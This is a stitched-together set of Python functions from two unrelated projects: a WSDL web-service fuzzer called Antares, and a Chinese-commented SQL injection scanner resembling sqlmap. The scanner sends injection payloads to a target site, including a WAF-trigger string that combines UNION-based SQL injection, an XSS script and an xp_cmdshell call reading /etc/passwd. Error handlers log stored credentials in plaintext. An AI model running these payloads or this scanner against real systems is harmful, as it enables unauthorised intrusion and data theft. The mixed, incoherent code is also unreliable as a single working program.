def checkDependencies(): failed_deps = 0 try: import suds logger.info("Success loading: [('suds', %s)]" % suds.__version__) except ImportError: msg = "Antares couldn't find suds third-party library " msg += "which will be used to support a wide range of WSDL operations. " msg += "Please install it from pip, easy_install or apt." logger.critical(msg) failed_deps += 1 try: import bs4 logger.info("Success loading: [('bs4', %s)]" % bs4.__version__) except ImportError: msg = "Antares couldn't find bs4 third-party library " msg += "which will help with XML representation. " logger.critical(msg) failed_deps += 1 try: from lib import pywebfuzz logger.info("Success loading: [('pywebfuzz')]") except ImportError: msg = "Antares couldn't find pywebfuzz third-party library " msg += "which contains fuzzdb payload lists. " logger.critical(msg) failed_deps += 1 try: import pygtk_chart logger.info("Success loading: [('pygtk_chart', %s)]" % pygtk_chart.__version__) except ImportError: msg = "Antares couldn't find pygtk_chart third-party library " msg += "which will generates nice charts for us. " logger.critical(msg) failed_deps += 1 try: import ntlm logger.info("Success loading [('python_ntlm')])") except ImportError: msg = "Antares couldn't find python_ntlm package installed." msg += "\nAlthough this package isn't strictly necessary we won't perform NTLM authentication without it." logger.warning(msg) if failed_deps: raise antaresDependenciesException("%d dependencies aren't met" % failed_deps)
def load_payloads(): """ 加载 payloads 到全局变量中 :return: """ logger.info("正在加载攻击载荷") try: for i in payloads_list: payload_path = os.path.join(paths.PAYLOADS_PATH, i) with codecs.open(payload_path) as file: for k, v in json.load(file).items(): payloads[k] = v except Exception as reason: logger.info("加载攻击载荷出错:%s " % reason) sys.exit()
def checkRegex(self, result, core): if not self.regex: raise antaresException("No regex initialized in plugin") xml = str(result.getBody()) for expression in ERROR_GENERIC_REGEXP: for error in self.regex: pattern = expression % re.escape(error) regexp = re.compile(pattern, re.IGNORECASE | re.DOTALL) r = regexp.search(xml) if r: logger.info("Found matching error message in payload %s." % result.getPayload()) # Report to analyzer! core.reportRegex(result)
def check_waf(): """ 发送触发WAF payload :return: """ check_waf_payload = " AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM " \ "information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell(\'cat ../../../etc/passwd\')#" logger.info("正在检查目标是否受到WAF防护") try: url = conf.TARGET['url'] + check_waf_payload count = Request.get_page(url=url) check_waf_regex = load_check_waf_json() non_blind_check(queries[count]['text'], check_waf_regex) except Exception as reason: logger.error("连接出错,带有攻击性的请求可能被重置:%s" % reason)
def non_blind_check(raw, check_waf_regex): """ 使用正则检测网站响应包中是否命中waf指纹 :param raw: :param check_waf_regex: :return: """ match = re.search(check_waf_regex, raw or "") if match: for _ in match.groupdict(): if match.group(_) is not None: waf = re.sub(r"\Awaf_", "", _) logger.warning("检测到目标正在受到以下WAF的防御:%s" % waf) logger.warning("接下来的攻击PAYLOAD可能被重置") else: logger.info("未检测到WAF指纹")
def load_settings(): """ 加载配置 :return: """ logger.info("初始化项目配置") try: with codecs.open(paths.CONFIG_FILE, encoding="utf-8") as config: configs = json.loads(config.read()) parse_result = urlparse(configs.get("target")) # 将配置文件写入全局变量 conf.TARGET = {} conf.TARGET['url'] = configs.get("target") conf.TARGET['scheme'] = parse_result.scheme conf.TARGET['domain'] = parse_result.netloc conf.TARGET['path'] = parse_result.path conf.TARGET['params'] = parse_result.params conf.TARGET['query'] = parse_result.query.split('&') conf.TAMPER = configs.get("tamper") conf.HOST = configs.get("host") conf.HEADER = configs.get("header") conf.TECH = configs.get("tech").upper() conf.COOKIE = configs.get("cookie") conf.CHUNK = configs.get("chunk") conf.GZIP_ENCODING = configs.get("gzip_encoding") conf.DATA = configs.get("data") conf.METHOD = configs.get("method") conf.UA = [] conf.COUNT = 0 conf.BOUNDARIES = [] # 初始化全局变量 byz.dynamic_markings = [] byz.dynamic_params = [] byz.injectable_params = [] byz.original_page = '' # 加载随机UA with codecs.open(paths.UA_FILES, 'r') as ua_file: for line in ua_file.readlines(): line = line.strip() conf.UA.append(line) except Exception as reason: logger.error("加载配置错误:%s" % reason)
def check_stable(): logger.info("正在检查页面稳定性") # 进行一定的延时 delay = 1 - queries['original']['time'] delay = max(0, min(1, delay)) time.sleep(delay) # 再次请求相同的页面,排除动态页面 try: count = Request.get_page() find_dynamic_content(queries['original']['ori_text'], queries[count]['ori_text']) byz.original_page = remove_dynamic_content( queries['original']['ori_text']) except ConnectionError: logger.error('页面连接不稳定,请稍后重试')
def loadProject(self, name, save_wsdl, from_file): """ Load currSettings with the new pickle load, this function MUST be called before updating core, notebook, etc save_wsdl flag to save the last downloaded WSDL automatically into project """ try: msg = '' os.chdir(paths['main_path'] + os.path.sep + paths['projects_dir'] + os.path.sep + name) # Load pickle file self.currSettings = pickle.load(open(settings_name, 'rb')) # Load control structures self.currSettings['control']['name'] = name self.proj_name = name # This path happens when the WSDL is being read online while refreshing your offline copy if from_file and save_wsdl: fh = open(wsdl_name, 'w') if self.getAuthType() == AUTH_BASIC: request = self.createAuthorizationRequest( self.getUsername(), self.getPassword(), self.getURL(), domain=self.getDomain()) wsdl = urllib2.urlopen(request) elif self.getAuthType() == AUTH_WINDOWS: request = self.createNTLMRequest(self.getUsername(), self.getPassword(), self.getURL(), self.getDomain()) wsdl = urllib2.urlopen(request) else: wsdl = urllib2.urlopen(self.getURL()) wsdl = wsdl.read() logger.info("Writing %d bytes to offline WSDL" % len(wsdl)) fh.close() except Exception as e: msg = 'Error: ' + e else: msg = 'OK' finally: os.chdir(paths['main_path']) return msg
def check_dynamic(): logger.info("正在检查参数动态性") # get 方法参数在 url 中 if conf.METHOD.lower() != 'post': for i in conf.TARGET['query']: similarity1 = Request.query_page(i, str(random_int()), _return='similarity') similarity2 = Request.query_page(i, str(random_int()), _return='similarity') if not similarity1: if not similarity2: byz.dynamic_params.append(i) else: # 如果是 POST 方法 pass
def parse_file_paths(page): """ 在网站页面中查找可能出现的绝对路径 :param page: :return: """ pattern = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P<result>/[^'\"]+)", r"\bin <b>(?P<result>[^<]+): line \d+") if page: for regex in pattern: for match in re.finditer(regex, page): abs_file_path = match.group("result").strip() page = page.replace(abs_file_path, "") if re.search(r"\A[\w]:", abs_file_path) is not None: abs_file_path = abs_file_path.replace( '/', '\\') if abs_file_path else abs_file_path logger.info('发现目标网站绝对路径 %s' % abs_file_path)
def heuristic_check(): if not byz.dynamic_params: logger.info("未检测到动态参数,程序退出") sys.exit() logger.info("正在进行启发性检测") format_exception = ( "Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException") def _(response_page): return any(_ in (response_page or "") for _ in format_exception) for i in byz.dynamic_params: rand_str = "" alphabet = ('"', '\'', ')', '(', ',', '.') while rand_str.count('\'') != 1 or rand_str.count('\"') != 1: rand_str = random_str(length=10, alphabet=alphabet) page, similarity = Request.query_page(i, rand_str) dbs_error = extract_error_message(page) # 检查页面是否出现 字符串格式化错误 提示 casting = _(page) and not _(byz.original_page) if dbs_error: byz.injectable_params.append(i) logger.warning("启发性检测显示参数 %s 可能存在 SQL 注入" % i.split('=')[0]) flags, db = extract_error_dbms(page) if flags: logger.warning("可能的后端 DBMS 为 %s" % db) elif not casting and i.split('=')[1].isdigit(): rand_int = int(random_int()) payload = "%d-%d" % (int(i.split('=')[1]) + rand_int, rand_int) similarity = Request.query_page(i, payload, _return='similarity') if similarity: byz.injectable_params.append(i) logger.warning("启发性检测显示参数 %s 可能存在 SQL 注入" % i.split('=')[0]) if not byz.injectable_params: logger.info("启发性检测结果显示不存在可被注入参数")
def check_connection(): """ 检查页面连通性 :return: """ # 对目标域名进行DNS解析 logger.info("正在解析目标域名") ip = host_resolv(conf.TARGET['domain']) if conf.HOST: if ip != conf.HOST: logger.info("域名解析IP与指定IP不同,请注意") logger.info("正在检查页面连通性") Request.get_page(original=True) if queries['original']['code'] != 200 or queries['original']['text']: logger.info("页面连通性正常") else: logger.error("检查页面连通性出错:%s" % conf.TARGET['url']) sys.exit()
def loadWSDL(self, url): """ This function should be called right after the project_manager has loaded any projects, it will query the PM in order to perform authentication tasks before loading the WSDL and URL objects used to represent the EndPoint. Error handling is a quite a mess here. Default HTTP timeout is set from command line or default (100 seconds) if not specified. The url parameter may point to the offline WSDL copy in the filesystem while pm.getURL() will give EndPoint's addr. A WSDL file can be loaded from it's offline copy while the document contains _a_ valid EndPoint's IP addr. ServiceDefinition @ client.sd ports = (port, [methods]) ports = (port, [(name, [opers])]) ports = (port, [name, [(type, name)]]) """ try: msg = '' # Check for protocol authentication methods if self.project_manager.getAuthType() == AUTH_BASIC: if self.project_manager.getUsername( ) and self.project_manager.getPassword(): try: self.ws_client = Client( url, username=self.project_manager.getUsername(), password=self.project_manager.getPassword(), faults=True, prettyxml=True, cache=None) request = self.project_manager.createAuthorizationRequest( self.project_manager.getUsername(), self.project_manager.getPassword(), self.project_manager.getURL(), self.project_manager.getDomain()) self.server_client = urllib2.urlopen(request) except URLError as e: try: if e.code == 401: msg = 'Error: Something went wrong while trying to authenticate with saved credentials -> %s' % str( e) logger.error( 'Credentials %s:%s [Basic] for project %s stopped working' % (self.project_manager.getUsername(), self.project_manager.getPassword(), self.project_manager.getName())) return msg except: msg = "\tWarning:\nWasn't able to connect to target.\nAntares is running in offline mode now." elif self.project_manager.getAuthType() == AUTH_WINDOWS: # Can we do this? try: import ntlm if self.project_manager.getUsername( ) and self.project_manager.getPassword(): ntlm_transport = WindowsHttpAuthenticated( username='******' % (self.project_manager.getDomain(), self.project_manager.getUsername()), password=self.project_manager.getPassword()) self.server_client = self.project_manager.createNTLMRequest( self.project_manager.getUsername(), self.project_manager.getPassword(), self.project_manager.getURL(), self.project_manager.getDomain()) self.ws_client = Client(url, transport=ntlm_transport, faults=True, prettyxml=True, cache=None) except ImportError: msg = "Error: The project you're trying to load uses Windows authentication\n" msg += "but we couldn't load the proxy_ntlm third party package.\n" msg += "Please install it before proceeding. " return msg except (antaresWrongCredentialsException, TransportError) as e: msg = 'Error: Something went wrong while trying to authenticate with saved credentials -> %s' % str( e) logger.error( 'Credentials %s:%s [NTLM] for project %s stopped working' % (self.project_manager.getUsername(), self.project_manager.getPassword(), self.project_manager.getName())) return msg else: if self.project_manager.getAuthType() == AUTH_UNKNOWN: msg = "Warning: Antares detected an unknown protocol mechanism for this EndPoint!\n" msg = "We probably won't be able to connect to the service." # Or fallback to regular connections self.ws_client = Client(url, faults=True, prettyxml=True, cache=None) self.server_client = urllib2.urlopen( self.project_manager.getURL()) self.setup() if self.ws_client: self.wsdl_desc = WSDLDescription(self.ws_client.sd[0]) msg = 'OK' logger.info("WSDL helper is:\n %s" % self.ws_client) if url.startswith('file'): logger.info("Loaded wsdl from local path %s" % self.project_manager.getWSDLPath()) else: logger.info("Loaded wsdl from remote path %s" % self.project_manager.getURL()) except exceptions.ValueError: msg = "Error: Malformed URL\n" + url except URLError: msg = "Error: No route to host\n " + url except os.error: msg = "Error: Can't read offline WSDL file" except SAXParseException as e: msg = 'Error: Malformed WSDL. Are you sure you provided the correct WSDL path?' except TypeNotFound as e: msg = "Error: There is an import problem with this WSDL.\n We hope to add automatic fix for this in the future." msg += "\nReference is: https://fedorahosted.org/suds/wiki/TipsAndTricks#Schema-TypeNotFound" except TransportError as e: msg = 'Error: Something went wrong while trying to authenticate with saved credentials' logger.error('Credentials %s:%s for project %s stopped working' % (self.project_manager.getUsername(), self.project_manager.getPassword(), self.project_manager.getName())) except Exception as e: msg = 'FATAL: unmanaged exception. Check stderr : ' + e.message print e.__dict__ print type(e) raise antaresUnknownException( "Got unknown exception while loading wsdl at WSDLHelper: %s" % str(e)) # Check how we'll run if self.server_client: self.is_offline = False else: logger.error("Running in offline mode on %s" % url) return msg
def createProject(self, name, url, auth_dict=None): """ This function receives the auth_dict parameter which contains optional HTTP authentication credentials. Such dictionary should follow the same structure as self.currSettings['auth']. """ fail = False try: msg = '' if auth_dict: if auth_dict and auth_dict['type'] == AUTH_BASIC: request = self.createAuthorizationRequest( auth_dict['user'], auth_dict['password'], url, domain=auth_dict['domain']) wsdl = urllib2.urlopen(request) self.currSettings['auth'] = auth_dict elif auth_dict and auth_dict['type'] == AUTH_WINDOWS: wsdl = self.createNTLMRequest(auth_dict['user'], auth_dict['password'], url, auth_dict['domain']) self.currSettings['auth'] = auth_dict else: wsdl = urllib2.urlopen(url) self.currSettings['auth'] = { 'type': None, 'domain': None, 'user': None, 'password': None } self.proj_name = name self.proj_url = url main = paths['main_path'] + os.path.sep + paths['projects_dir'] if not os.path.exists(main): os.makedirs(main) os.chdir(main) if os.path.exists(os.path.curdir + os.path.sep + name): raise os.error os.mkdir(name) os.chdir(name) wsdl_file = open(wsdl_name, 'w') wsdl_file.write(wsdl.read()) wsdl_file.close() sett_file = open(settings_name, 'w') self.currSettings['control']['name'] = name self.currSettings['control']['url'] = url sett_file.write(pickle.dumps(self.currSettings)) sett_file.close() except HTTPError as e: msg = 'ERROR: Got %s trying to download WSDL\nDid you provided the correct credentials?' % str( e) fail = True except antaresWrongCredentialsException as e: msg = 'ERROR: Got error trying to download WSDL\nDid you provided the correct credentials?' fail = True except os.error as e: msg = 'Error: Project already exists' except exceptions.IOError as e: msg = 'Error writing to file: %s' % str(e) fail = True except Exception as e: msg = 'Error: createProject, unknown exception: %s ' % str(e) fail = True else: msg = 'Project %s created' % self.proj_name logger.info("Project %s created" % self.proj_name) finally: os.chdir(paths['main_path']) if fail: self.deleteProject(name) return msg
def check_sql_injection(): technique = list(conf.TECH) if not technique: technique = ['B', 'E', 'U', 'S', 'T', 'Q'] for tech in technique: for i in byz.dynamic_params: # 检测布尔型盲注 if tech == 'B': logger.info("正在检测 布尔型盲注 ") for k, v in payloads.items(): logger.info("正在进行第 %s 项检测:%s" % (k, v['desc'])) for _ in v['payload']: logger.info("正在检测 %s " % _['type']) for m in conf.BOUNDARIES: if set(_['clause']).issubset( m['clause']) and _['where'] in m['where']: target_url, compare_url = payload_handler( i, _, boundries=m) count1, sim1 = Request.query_page( i, target_url, ready=True, _return='count') count2, sim2 = Request.query_page( i, compare_url, ready=True, _return='count') sim3 = check_page_similarity(count2, ori_page=count1) if sim1 and not sim3: if not sim3: logger.warning("检测到SQL注入漏洞") logger.warning("注入方式: %s " % _['type']) logger.warning("注入payload:%s " % target_url) if _['dbms']: logger.warning("可能的数据库为:%s " % _['dbms']) if _['os']: logger.warning("可能的系统为: %s" % _['os']) sys.exit() else: target_url, compare_url = payload_handler(i, _) count1, sim1 = Request.query_page(i, target_url, _return='count') count2, sim2 = Request.query_page(i, compare_url, _return='count') sim3 = check_page_similarity(count2, ori_page=count1) if sim1 and not sim3: if not sim3: logger.warning("检测到SQL注入漏洞") logger.warning("注入方式: %s " % _['type']) logger.warning("注入payload:%s " % target_url) if 'dbms' in _: logger.warning("可能的数据库为:%s " % _['dbms']) if 'os' in _: logger.warning("可能的系统为: %s" % _['os']) sys.exit() elif tech == 'E': pass elif tech == 'U': pass elif tech == 'S': pass elif tech == 'T': pass elif tech == 'Q': pass else: pass